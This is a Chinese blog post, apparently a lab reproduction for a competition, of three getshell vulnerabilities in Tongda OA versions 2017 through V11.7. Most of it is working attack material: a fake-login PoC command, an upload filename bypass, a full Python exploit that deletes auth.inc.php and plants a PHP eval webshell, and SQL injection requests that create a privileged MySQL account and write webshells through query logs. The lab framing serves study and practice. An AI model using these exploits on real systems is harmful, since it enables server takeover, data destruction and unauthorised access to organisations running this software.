通达oa getshell漏洞复现

一、实验环境

靶机环境

  • win7
  • 192.168.73.129

攻击机环境

  • win10
  • 192.168.73.1

 

二、漏洞复现

2.1任意用户登录、后台文件上传getshell（V11.X<V11.5/2017）

靶机下载通达 oa 2017 版本，使用默认服务配置

 

poc 下载地址 https://github.com/NS-Sp4ce/TongDaOA-Fake-User

python3 POC.py -v 2017 -url http://192.168.73.129/ 获得 PHPSESSID，前台 F12 替换为此 PHPSESSID，然后访问 /general/index.php 成功登录到管理员账户

 

后台点击系统管理->附件管理->添加存储目录（选择根目录）->添加

 

然后再点击组织->系统管理员->附件，如图所示

 

直接上传 shell.php 显示文件不存在，抓包改为 shell.php. 文件，文件名不符合 windows 命名规范，系统自动去掉最后的点号，放包后返回文件保存路径

 

冰蝎可以成功连接 http://192.168.73.129/im/2010/559350980.shell.php

 

2.2远程命令执行（V11.6）

默认服务配置安装环境，大佬的 exp 如下

import requests
#填写ip
target="http://192.168.73.129/"  
#一句话木马密码pass  
payload="<?php eval($_POST['pass']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
#删除网站里的auth.inc.php文件
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"  
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('deconf.php', payload)}
requests.post(url=url,files=files)
url=target+"/_deconf.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

 

url 即为一句话木马位置，蚁剑成功连接

 

2.3后台sql注入getshell（V11.7）

默认服务配置安装环境，在通达应用服务控制中心开启 mysql 服务，默认端口是3336，此漏洞利用需要有账号密码在后台登录，/general/hr/manage/query/delete_cascade.php?condition_cascade 参数存在布尔盲注

http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((1=1),1,power(9999,99))

 

http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((1=2),1,power(9999,99))

 

添加账户 at666，密码 abcABC@123

http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

 

navicat 连接数据库，由于添加的账户不能直接通过慢查询日志写入文件，需要给创建的账户添加权限

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

 

在注入点刷新权限，当前用户没有刷新权限的权限

http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

 

navicat 提示密码过期，需要再次执行

http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

 

写 shell 方式一

select @@basedir;
set global slow_query_log=on;
set global slow_query_log_file='C:/MYOA/webroot/test.php';
select '<?php eval($_POST[x]);?>' or sleep(11);

 

写 shell 方式二

select @@basedir;
set global general_log = on;
set global general_log_file ='C:/MYOA/webroot/test2.php';
select '<?php eval($_POST[y]);?>';
show variables like '%general%';

 

三、总结

为了准备程序员节的比赛，还没有研究漏洞原理，只匆匆忙忙找了一些可以 getshell 的漏洞复现，如果有问题欢迎师傅们批评指正（李师傅、范师傅、刘师傅正在我旁边专心致志复习考研，这里悄悄留个彩蛋，做为咕噜灵波战队吃饭最积极的菜鸡希望三位师傅越来越圆hhh）

 

 

参考：

https://www.cnblogs.com/lovequitepcs/p/12864203.html

https://blog.csdn.net/weixin_44288604/article/details/108144165

https://www.cnblogs.com/yuzly/p/13690737.html

 

posted @ 2020-10-06 22:01  beiwo  阅读(1291)  评论(0)  编辑  收藏  举报